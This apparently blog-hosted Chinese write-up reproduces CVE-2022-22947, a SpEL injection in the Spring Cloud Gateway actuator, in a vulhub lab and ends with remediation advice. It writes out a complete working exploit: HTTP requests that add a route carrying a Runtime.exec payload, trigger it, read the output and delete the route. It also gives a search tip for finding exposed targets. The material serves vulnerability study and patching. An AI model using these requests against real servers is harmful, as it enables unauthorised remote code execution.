CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞复现
漏洞简述
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞。当 攻击者可以访问到 Spring Cloud Gateway actuator 端点时,攻击者可构造恶意请求,创建新路由,同时利用路由的filter功能注入spel表达式,从而造成表达式注入执行任意代码。
漏洞影响版本
- 3.0.x < Spring Cloud Gateway < 3.0.7
- 3.1.x < Spring Cloud Gateway < 3.1.1
Shodan 搜索语法
无较好的特征进行识别。建议过滤spring网站后判断/actuator/gateway接口是否存在。
漏洞exp
https://github.com/crowsec-edtech/CVE-2022-22947
漏洞环境搭建
使用vulhub进行复现。搭建完成后请求actuator,会返回所有的接口信息。
漏洞复现
该漏洞的利用有多个步骤。
添加包含恶意SpEL表达式的路由。
POST /actuator/gateway/routes/zgao HTTP/1.1 Host: vul.zgao.top:8070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/json Content-Length: 325 { "id": "zgao", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }
然后请求refresh接口执行刚才添加的恶意路由,将触发SpEL表达式的执行。
POST /actuator/gateway/refresh HTTP/1.1 Host: vul.zgao.top:8070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/json Content-Length: 0
然后再请求之前添加的路由,获取命令执行结果。
GET /actuator/gateway/routes/zgao HTTP/1.1 Host: vul.zgao.top:8070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept-Encoding: gzip, deflate Connection: close
可通过delete删除之前添加的恶意路由。
DELETE /actuator/gateway/routes/zgao HTTP/1.1 Host: vul.zgao.top:8070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept-Encoding: gzip, deflate Connection: close
使用上面的exp执行命令。
溯源排查
无日志可排查。
修复方式
1、针对 3.1.x 版本,建议升级至 3.1.1 及其以上版本。针对 3.0.x 版本,建议升级至 3.0.7 及其以上版本 。其余官方不再维护版本均建议升级至最新版本。
2、禁止外界访问 Spring Cloud Gateway actuator 端点 ,修改 spring 配置将 management.endpoint.gateway.enabled 置为 false,并重启服务使配置生效。
微信赞赏支付宝赞赏
发表评论